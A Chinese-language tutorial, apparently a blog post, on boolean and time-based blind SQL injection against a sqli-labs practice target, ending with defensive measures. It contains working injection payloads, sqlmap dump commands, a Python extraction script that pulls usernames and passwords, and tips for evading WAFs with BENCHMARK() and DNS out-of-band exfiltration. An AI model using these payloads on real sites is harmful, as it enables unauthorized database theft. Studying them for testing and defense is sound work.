Web渗透之SQL注入-盲注(布尔盲注,时间盲注)

本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。

目录

[一、布尔盲注(Boolean-based Blind SQL Injection)](#一、布尔盲注(Boolean-based Blind SQL Injection))

定义:

核心原理

适用场景

优缺点

示例(手工)

1、判断数据类型

2、获取数据库名称

判断数据库名称的长度:

获取数据库的名称:

3、获取数据库所有表

获取数据库表名的长度:

获取数据库表名:

4、获取表中的列名

获取列名的长度:

获取列名:

5、获取表数据

获取表数据的长度:

获取表数据:

6、快速布尔盲注方法

[方案一:使用自动化工具 ------ SQLMap](#方案一:使用自动化工具 —— SQLMap)

[方案二:优化手工技巧 ------ 二分法与Burp Suite](#方案二:优化手工技巧 —— 二分法与Burp Suite)

[方案三:编写自动化脚本 ------ Python](#方案三:编写自动化脚本 —— Python)

防御措施

[二、时间盲注(Time-based Blind SQL Injection)](#二、时间盲注(Time-based Blind SQL Injection))

定义:

核心原理

[典型 Payload(MySQL)](#典型 Payload(MySQL))

适用场景

优缺点

手工示例

1、数据类型判断

2、获取数据库名称

获取数据库长度

获取数据库的名称

3、获取数据库的表

获取数据库表名的长度

获取数据库中的表名

4、获取表中的列

获取表中列的长度

获取列名

5、获取表数据

获取数据长度

获取表数据

6、快速时间盲注方法

自动化工具法

手工/脚本优化法

防御措施


一、布尔盲注(Boolean-based Blind SQL Injection)

定义

布尔盲注是 SQL 注入的一种细分类型。当 Web 应用不返回任何数据库错误信息 ,也不在页面上直接显示查询结果 (例如仅显示"存在"或"不存在",或页面布局有细微变化),但页面的内容会根据 SQL 查询的真假产生明显差异 时,攻击者通过构造布尔条件(如 AND 1=1 / AND 1=2),逐字符地"问"出数据库中的数据。

核心原理

  • 原始 SQL 查询的结果决定了页面是否显示某些内容(例如查询用户 ID,存在则显示"欢迎",不存在则显示"错误")。

  • 攻击者在注入点拼接一个永真条件 (如 1' AND 1=1)和一个永假条件 (如 1' AND 1=2),对比两次页面响应。

  • 如果永真条件返回的页面与正常请求一致,永假条件返回不同页面,则确认存在布尔盲注。

  • 随后,攻击者使用 substring()ascii() 等函数,逐个字符判断数据内容。例如:

    复制代码
    ' AND ASCII(SUBSTRING(database(),1,1)) > 64 -- -

    若页面正常,则说明数据库名第一个字符的 ASCII 码大于 64;继续二分搜索直到确定字符。

适用场景

  • 没有错误回显(无法使用报错注入)。

  • 没有数据回显位置(无法使用联合查询注入)。

  • 但页面在不同 SQL 结果下会有可观察到的差异(如返回"查询成功" vs "查询失败",或跳转到不同页面)。

优缺点

  • 优点:不需要错误信息或数据回显,几乎适用于任何存在注入的页面。

  • 缺点 :速度极慢,每提取一个字符可能需要数十次请求,大量数据时需要自动化工具(如 sqlmap)。

示例(手工)

假设注入点 id,原始 URL:http://example.com/page?id=1。 测试:

1、判断数据类型
复制代码
?id=1

以这个界面为正常界面

复制代码
?id=1'

输入单引号之后界面变化

复制代码
?id=1'-- -

再输入-- -发现界面变回正常界面,可以判断这是个字符型

2、获取数据库名称

构造永真条件,发现页面没变

构造永假条件,发现页面变了

说明存在布尔盲注。

判断数据库名称的长度:
复制代码
?id=1'and length(database())=1-- -

发现数据库名称的长度是8

获取数据库的名称:
复制代码
?id=1' and substr(database(),1,1)='a'-- -
3、获取数据库所有表
获取数据库表名的长度:

发现长度是29

复制代码
?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>29-- -
获取数据库表名:
复制代码
?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=databasel),1,1)='e'-- -
4、获取表中的列名
获取列名的长度:
复制代码
?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema=database()) and table_name='users')=20-- -
获取列名:
复制代码
?id=1' and substr(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users',1,1)='i'-- -
5、获取表数据
获取表数据的长度:
复制代码
?id=1' and length((select group_concat(concat_ws('-',id,username,password)) from users))>250-- -
获取表数据:
复制代码
?id=1' and substr((select group concat(concat ws('_',id,username,password)) from users),1,1)='1'-- -
6、快速布尔盲注方法

要按上面的注入方法不知道得注入到猴年马月,所有推荐几种快速注入

方案一:使用自动化工具 ------ SQLMap

这是最省力的方法,尤其适合在学习和测试环境中快速获取数据。遇到的Less-8正是它擅长的场景。使用--technique=B参数可以让它专注于布尔盲注。

复制代码
sqlmap -u "http://192.168.147.130:8004/Less-8/?id=1" --technique=B --batch
  • 命令解释:

    • -u: 指定注入目标URL。

    • --technique=B: 强制SQLMap只使用**布尔盲注(Boolean-based blind)**技术进行测试。

    • --batch: 让SQLMap在需要用户交互时使用默认选项,实现自动化运行。

  • 常用命令

    • 获取所有数据库:sqlmap -u "URL" --dbs

    • 获取当前数据库:sqlmap -u "URL" --current-db

    • 获取表名:sqlmap -u "URL" -D 数据库名 --tables

    • 获取字段:sqlmap -u "URL" -D 数据库名 -T 表名 --columns

    • 导出数据:sqlmap -u "URL" -D 数据库名 -T 表名 -C "字段1,字段2" --dump

  • 提速技巧

    • 增加线程 :使用--threads参数可以设置并发请求数,能显著提升扫描速度。

    • 使用--null-connection:此参数让SQLMap只获取页面的大小,而不下载整个页面内容,从而大幅减少网络开销。

    • 配合DNS外带(OOB) :这是效率提升最显著的方法。其原理是让数据库服务器将查询结果通过DNS请求"带出",SQLMap只需监听DNS日志即可一次性获取大量数据。这需要配置Burp Suite的Collaborator功能,并添加参数:--technique=T --dns-domain=xxxxx.oastify.com


方案二:优化手工技巧 ------ 二分法与Burp Suite
  • 核心算法:二分查找法 这是最关键的优化,能将每次猜测一个字符的请求次数从平均32次降至7-8次。其原理是每次猜测都取中间值,根据页面返回的"是"或"否"来不断缩小字符ASCII码的范围,直到确定精确值。具体的Payload可以构造为?id=1' and ascii(substr(database(),1,1))>109 --+

  • 辅助工具:Burp Suite Burp Suite的Intruder模块非常适合用来爆破。你可以把需要猜测的位置(如字符的ASCII码)设置为变量,导入预设的字典(如1-255的数字),然后通过观察响应长度的不同来判断哪个值是正确的,这种"字典爆破"的方法有时能一次命中。


方案三:编写自动化脚本 ------ Python

当想更灵活地控制注入过程,或者SQLMap无法满足特定需求时,编写一个简单的自动化脚本是最好的选择。下面是一个基于二分查找法的Python脚本核心框架,可以根据实际靶场的返回特征进行调整。

脚本核心逻辑

复制代码
import requests
​
# 定义页面真假判断函数
def is_true(payload):
    url = f"http://192.168.147.130:8004/Less-8/?id={payload}"
    # 发送请求
    response = requests.get(url)
    # 根据页面特征判断真假,例如'You are in........' 表示True
    return 'You are in........' in response.text
​
# 使用二分法获取数据
def get_data(sql_query):
    result = ''
    for i in range(1, 50):  # 假设结果长度不超过50
        low, high = 32, 127  # 可打印字符的ASCII范围
        while low <= high:
            mid = (low + high) // 2
            # 构造布尔盲注的Payload
            payload = f"1' and ascii(substr(({sql_query}),{i},1)) > {mid} --+"
            if is_true(payload):
                low = mid + 1
            else:
                high = mid - 1
        # low的值即为当前字符的ASCII码
        result += chr(low)
        print(f"当前进度: {result}")
    return result
​
# 获取当前数据库名
database_name = get_data("database()")
print(f"[+] 数据库名: {database_name}")
​
# 获取第一个表名
table_name = get_data("select table_name from information_schema.tables where table_schema='security' limit 0,1")
print(f"[+] 第一个表名: {table_name}")

防御措施

  • 使用参数化查询 / 预编译语句(根本性解决,对所有 SQL 注入都有效)。

  • 关闭数据库错误回显(虽然布尔盲注不依赖错误,但能增加攻击难度)。

  • 统一错误页面,使攻击者无法区分真假条件(即无论查询结果如何,返回完全相同的内容)。这是对抗布尔盲注的有效方法。

  • 使用 WAF 拦截包含 SUBSTRINGASCIIBENCHMARK 等特征的请求。

二、时间盲注(Time-based Blind SQL Injection)

定义

时间盲注是 SQL 注入的一种细分类型。当 Web 应用没有任何错误回显 ,也没有任何页面内容差异 (无论 SQL 查询结果是真是假,页面返回完全一样)时,攻击者利用数据库的延时函数 (如 SLEEP()WAITFOR DELAY),通过观察页面响应时间的变化,推断出数据的正确性。

核心原理

  • 攻击者在注入点拼接一个条件判断 + 延时函数。如果条件为真,数据库会执行延时(如 5 秒);如果条件为假,则不延时或立即返回。

  • 攻击者测量从发送请求到收到响应的时间差:如果响应时间显著大于正常值,说明条件为真;否则为假。

  • 通过逐字符猜测,结合二分法或顺序遍历,最终获取数据库中的数据。

典型 Payload(MySQL)

复制代码
' AND IF(ASCII(SUBSTRING(database(),1,1)) > 100, SLEEP(5), 0) -- -
  • 如果数据库名第一个字符的 ASCII 码 > 100,则 MySQL 执行 SLEEP(5),页面响应延迟 5 秒;否则立即返回。

  • 攻击者不断调整条件和字符范围,逐个字符推断出完整数据。

其他数据库的延时函数:

  • MySQLSLEEP(seconds), BENCHMARK(count, expr)

  • SQL ServerWAITFOR DELAY '0:0:5'

  • PostgreSQLpg_sleep(seconds)

  • OracleDBMS_LOCK.SLEEP(seconds)SYS.DBMS_LOCK.SLEEP

适用场景

  • 没有错误回显(报错注入无效)。

  • 页面内容无差异(布尔盲注无效)。

  • 但数据库支持延时函数,且攻击者能够测量响应时间(网络稳定,无其他干扰)。

  • 多用于防火墙或 WAF 拦截了其他注入方式时。

优缺点

  • 优点:几乎不受页面内容限制,只要存在注入点,就一定能利用(前提是支持延时函数)。

  • 缺点 :速度极慢,每个字符可能需要多次请求(每次等待数秒),提取大量数据极其耗时,通常需要自动化工具(如 sqlmap)。

手工示例

1、数据类型判断

执行卡顿,说明是字符型

复制代码
?id=1' and sleep(5) -- -
2、获取数据库名称
获取数据库长度
复制代码
?id=1'and if(length(database())=8,sleep(5),1) -- -
获取数据库的名称
复制代码
?id=1' and if(substr(database(),2,1)='a',sleep(5),1)-- -
3、获取数据库的表
获取数据库表名的长度
复制代码
?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>25, sleep(5),1) -- -
获取数据库中的表名
复制代码
?id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e',sleep(5),1) -- -
4、获取表中的列
获取表中列的长度
复制代码
?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database()and table_name='users'))>20,sleep(5),1)-- -
获取列名
复制代码
?id=1' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()) and table_name='users'),1,1)='a',sleep(5),1) -- -
5、获取表数据
获取数据长度
复制代码
?id=1 and if(length((select group_concat(concat_ws('-',id,username,password)) from users))>230, sleep(5),1) -- -
获取表数据
复制代码
?id=1' and if(substr((select group_concat(concat_ws('',id,username,password)) from users),1,1)='1',sleep(5),1) -- -
6、快速时间盲注方法
自动化工具法
  1. 首选 SQLMap:作为专业工具,它能智能处理数据提取、延迟判断和网络波动,可显著提升测试速度。

    复制代码
    sqlmap -u "http://192.168.147.130:8004/Less-9/?id=1" --technique=T --dbs --threads=10 --batch

    其中--technique=T参数会让 sqlmap 仅检测和利用基于时间的盲注,--threads=10可启用10个并发线程,从而大幅缩短总扫描时间。

  2. 高阶技巧

    • 优化参数 :结合 --threads 使用。如需更精细控制,可用 -t 参数调整线程数。

    • 高级结合 :结合Burp Suite与DNS外带技术(OOB) ,可实现极高的数据获取速度,通常配置为 --dns-domain=xxxx

手工/脚本优化法

当无法使用自动工具时,这两个核心优化思路依然可以显著提速:

  • 高效利用延时 :在手工或脚本猜解时,要选择合适的延时函数。BENCHMARK()(通过密集计算制造延迟)比 SLEEP()(固定挂起)更为隐蔽,因为它执行的是正常的SQL查询,不像 SLEEP() 那样是WAF的重点监控目标,因此能有效规避WAF检测。

  • 采用二进制搜索(二分查找):这是效率提升最显著的方法,可将每个字符的猜测次数从平均31次(顺序查找)降至约7次(二分查找),对长字符串效率提升尤其明显。其原理是每次将ASCII码的范围从中间切分,通过一次请求即可排除一半的可能字符。

    Payload参考

    复制代码
    1' AND IF(ASCII(SUBSTRING(({SQL_QUERY}), {POSITION}, 1)) >= {MID_VALUE}, SLEEP(5), 0) --+

    {SQL_QUERY}替换为SQL查询语句,{POSITION}为当前字符位置,{MID_VALUE}为猜测的ASCII中间值,如 0x40

防御措施

  • 参数化查询 / 预编译语句:根本解决所有 SQL 注入。

  • 禁用危险函数 :在数据库配置中禁用 SLEEP()BENCHMARKWAITFOR DELAY 等(可能影响正常业务)。

  • 使用 WAF :拦截包含 SLEEP(WAITFORBENCHMARK 等特征的请求。

  • 统一响应时间:应用层限制处理时间,或引入随机延迟扰乱测量(效果有限)。

相关推荐
unicrom_深圳市由你创科技1 小时前
MySQL 慢查询日志深度分析:从 “识别慢 SQL” 到 “定位瓶颈根因”
sql·mysql·adb
NGINX开源社区1 小时前
NGINX Ingress Controller 中的 Cache Policy:VirtualServer 实战指南
java·前端·nginx
办公自动化软件定制化开发python1 小时前
开源!Edge TTS 音频转换工具 v2.1:批量文本转语音,支持段落拆分与多发音人
前端·edge·音视频
27669582921 小时前
jd 变速滑块逆向角度分析
前端·python·京东滑块·京东逆向·京东变速滑块·cfe滑块·wasm逆向
ct9782 小时前
Vue 项目性能优化
前端·vue.js·性能优化
魔术师Grace2 小时前
真正值钱的 AI 小工具,可能只是帮人少打一遍字
前端·人工智能
Dovis(誓平步青云)2 小时前
《指标中转站:Pushgateway 如何把监控覆盖到这些原本看不见的角落》
数据库·生成对抗网络·oracle·内网穿透·飞牛nas
用户新5 小时前
JS事件深度解析四 事件的循环和异步
前端·javascript·事件·event loop
广州灵眸科技有限公司11 小时前
瑞芯微RV1126B开发板(EASY-EAI-PI2) Easy-Eai编译环境准备与更新
服务器·前端·人工智能·python·深度学习